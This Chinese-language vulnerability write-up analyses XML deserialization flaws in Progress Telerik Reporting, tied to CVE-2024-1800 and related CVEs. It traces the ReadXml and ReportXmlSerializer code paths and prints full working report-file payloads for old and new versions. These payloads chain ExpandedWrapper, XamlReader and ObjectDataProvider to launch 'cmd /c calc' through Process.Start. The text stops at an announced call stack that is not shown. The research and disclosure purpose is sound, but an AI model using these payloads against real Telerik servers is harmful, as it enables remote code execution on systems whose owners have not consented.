Telerik Reporting XML反序列化的0day挖掘

帮朋友审计一个项目,发现一个老版本Telerik.Reporting(和MOVEit/WS_FTP同属于Progress Software旗下产品)三方组件的一个可以导致RCE通用问题,后续了解了一下这个东西有web产品,也能集成到别的项目里面于是就研究下了新版本,同样也有类似的问题。 链接CVE-2024-1800CVE-2024-1856CVE-2024-1801

后续老外@SinSinology挖到了一个未授权也发了文章:CVE-2024-4358(未授权)的分析

事实上这个三方组件的洞,Telerik提供的一个报表功能。

先看看demo代码:

csharp

StringReader stringReader = new StringReader(test);
using (XmlReader xmlReader = XmlReader.Create(stringReader))
{
    XmlSerializer serializer = new XmlSerializer(typeof(Telerik.Reporting.Report));
    var Reports = (Telerik.Reporting.Report)serializer.Deserialize(xmlReader);
    // Console.WriteLine(Reports.ToString());
    
}

正常来说这里类型不可控,无法直接触发RCE。 参考之前solarwinds的分析,即使反序列化类型不可控,可以尝试看看该类是否实现了IXmlSerializable接口

来看看这个类的实现:

这里版本很老了是4.2.10.1221,可以看到这个类实现了IXmlSerializable接口并且存在readxml方法:

csharp

    protected override void ReadXml(XmlReader reader)
    {
      this.ResetPropertyValues();
      if (reader.HasAttributes && reader.MoveToAttribute("Culture"))
      {
        this.Culture = new CultureInfo(reader.Value);
        reader.MoveToElement();
      }
      base.ReadXml(reader);
      this.RefreshStyleSheets();
      XmlUtils.ResolveVisibilityTargets((IReportDocument) this);
    }

所以当反序列化为这个类型时会调用自己的反序列化逻辑: Telerik.Reporting.Report#ReadXml---->ReportItemBase#ReadXml---->Telerik.Reporting.Xml.XmlUtils#ReadXml

主要逻辑在XmlUtils类中:

自定义xml反序列化过程肯定要关注type是否可控,所以主要关注这段逻辑:

csharp

PropertyInfo property = type1.GetProperty(reader.Name);
                object collection = property.GetValue(obj, (object[]) null);
                if (((object) property.PropertyType == (object) typeof (object) || XmlUtils.IsKnownType(property.PropertyType)) && property.CanWrite)
                {
                  string attribute = reader.GetAttribute("Type");
                  if (null != attribute)
                  {
                    Type type2 = Type.GetType(attribute);
                    ........

这里的type1就是我们反序列化出的类型为Telerik.Reporting.Report,这里想要走到Type type2 = Type.GetType(attribute);,必须经过上面的if逻辑,也就是两个条件之一:

  1. Report存在一个属性值为object类型
  2. Report存在一个属性值可写即setter并且在已知类型里

看了下Report类,刚好存在满足条件1的属性

获取到type2之后的处理就是重新使用 XmlSerializer 再反序列化一次,那么只要构造DataSource部分最终就能反序列化出任意类型。

csharp

<DataSource Type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider
, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
      <ProjectedProperty0>
        <ObjectInstance d5p1:type=""XamlReader"" xmlns:d5p1=""http://www.w3.org/2001/XMLSchema-instance"" />
        <MethodName>Parse</MethodName>
        <MethodParameters>
          <anyType xmlns:q1=""http://www.w3.org/2001/XMLSchema"" d6p1:type=""q1:string"" xmlns:d6p1=""http://www.w3.org/2001/XMLSchema-instance"">&lt;ResourceDictionary
                    xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
                    xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml""
                    xmlns:b=""clr-namespace:System;assembly=mscorlib""
                    xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""&gt;
    &lt;ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""&gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;b:String&gt;cmd&lt;/b:String&gt;
            &lt;b:String&gt;/c calc&lt;/b:String&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
&lt;/ResourceDictionary&gt;</anyType>
        </MethodParameters>
      </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
  </DataSource>

最终走到ReadValue方法初始化XmlSerializer反序列化RCE。

最终payload

csharp

<?xml version=""1.0"" encoding=""utf-16""?>
<Report Width=""15cm"">
  <PageSettings PaperKind=""A4"" Landscape=""false"">
    <Margins Left=""2.53999993cm"" Right=""2.53999993cm"" Top=""2.53999993cm"" Bottom=""2.53999993cm"" />
  </PageSettings>
  <DataSource Type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
      <ProjectedProperty0>
        <ObjectInstance d5p1:type=""XamlReader"" xmlns:d5p1=""http://www.w3.org/2001/XMLSchema-instance"" />
        <MethodName>Parse</MethodName>
        <MethodParameters>
          <anyType xmlns:q1=""http://www.w3.org/2001/XMLSchema"" d6p1:type=""q1:string"" xmlns:d6p1=""http://www.w3.org/2001/XMLSchema-instance"">&lt;ResourceDictionary
                    xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
                    xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml""
                    xmlns:b=""clr-namespace:System;assembly=mscorlib""
                    xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""&gt;&lt;ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start""&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;b:String&gt;cmd&lt;/b:String&gt;&lt;b:String&gt;/c calc&lt;/b:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;</anyType>
        </MethodParameters>
      </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
  </DataSource>
</Report>

下了个新版的Telerik Reporting找到对应的dll进行本地测试,算是一步一步盲测出来的。

  1. 直接用上面的payload会报接口不能被反序列化的错

查看上面的report类

此时版本已经是最新版了17.2.23.1114,并且未实现IXmlSerializable接口,当使用上面测试代码会走默认的反序列化逻辑,所以导致报错(存在一个public virtual ISite Site)。

但是类似的功能肯定还在,翻了下官方文档是使用了新的自定义反序列化器ReportXmlSerializer,文档在这:https://docs.telerik.com/reporting/embedding-reports/program-the-report-definition/serialize-report-definition-in-xml

  1. 尝试直接将datasources设为空值会报无法反序列化抽象类,于是去找官方的demo

官方示例DataSources长这样

csharp

  <DataSources>
    <SqlDataSource ConnectionString="Data Source=.\SqlExpress;Initial Catalog=AdventureWorks;Integrated Security=True" SelectCommand="select ProductNumber, Name from Production.Product" Name="sqlDataSource1" />
  </DataSources>

找一下SqlDataSource的类,实现了DataSource

一共有七个实现类,最终找到了WebServiceDataSource类,它有一个public object Source { get; set; },可以尝试用上面的思路试试

  1. 直接无脑用ysoserial的poc试试

csharp

  <DataSources>
    <WebServiceDataSource DataEncoding="1200" ParameterValues="null" AuthParameterValues="null" ServiceUrl="aaa" Name="dataSource1">
      <Source>
        poc
      </Source>
    </WebServiceDataSource>
  </DataSources>

还是报错

报错无法解析其类型,根据报错堆栈进ReadXmlElement方法看看,实现如下

csharp

    private object ReadXmlElement(string name)
    {
      string prefix;
      string localName;
      ObjectReader.ParseNsString(name, out prefix, out localName);
      Type type1 = this.ResolveType(this.reader.LookupNamespace(prefix), localName);
      if (type1 != (Type) null)
        return this.ReadObject(type1);
      Type type2 = Type.GetType(name);
      if (!(type2 == (Type) null))
        return this.ReadPrimitive(type2);
      if (this.reader.Name == this.Settings.NullString || this.reader.Value == this.Settings.NullString)
        return (object) null;
      throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
    }

那么进一步看看它自定义发序列化逻辑是如何反序列化类的,看上面的报错猜测首先是遍历所有标签和元素,然后readobject,跟进看看

这里获取到类型之后,并不会像之前遇到的调用xmlserialzer进行反序列化,而是调用createInstance实例化当前类型,后续通过反射设置其属性。

  1. 既然是直接实例化了,直接用objectDataProvider调用任意方法就行了 写个测试demo序列化出来

csharp

	ObjectDataProvider objectDataProvider = new ObjectDataProvider();
	objectDataProvider.ObjectInstance = xamlReader;
	objectDataProvider.MethodParameters.Add(xml);
	objectDataProvider.MethodName = "Parse";
	var report = new Report();
	var dataSource = new WebServiceDataSource();
	dataSource.Source = objectDataProvider;
	dataSource.ServiceUrl = "test.com";
	dataSource.DataEncoding = Encoding.Unicode;
	report.DataSource = dataSource;

xml

<?xml version="1.0" encoding="utf-16"?>
<Report DataSourceName="dataSource1" Width="17cm" xmlns="http://schemas.telerik.com/reporting/2023/3.0">
  <DataSources>
    <WebServiceDataSource DataEncoding="1200" ParameterValues="null" AuthParameterValues="null" ServiceUrl="g7shot" Name="dataSource1">
      <Source>
        <ObjectDataProvider MethodName="Parse" xmlns="clr-namespace:System.Windows.Data;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
          <ObjectInstance>
            <XamlReader xmlns="clr-namespace:System.Windows.Markup;assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
          </ObjectInstance>
          <MethodParameters>
            <String xmlns="http://schemas.telerik.com/reporting/2023/3.0">&lt;ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"&gt;&lt;ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;b:String&gt;cmd&lt;/b:String&gt;&lt;b:String&gt;/c calc&lt;/b:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;</String>
          </MethodParameters>
        </ObjectDataProvider>
      </Source>
    </WebServiceDataSource>
  </DataSources>
  <PageSettings PaperKind="A4">
    <Margins>
      <MarginsU Left="20mm" Right="20mm" Top="20mm" Bottom="20mm" />
    </Margins>
  </PageSettings>
</Report>

最后确实可以

运气不错,半黑盒就测出来了没有过多看代码。回头调试了一波,该功能实现逻辑是遍历所有标签以及其属性,然后通过反射实例化标签指定的类型,又默认信任所有类,最后造成了RCE。 贴下调用栈: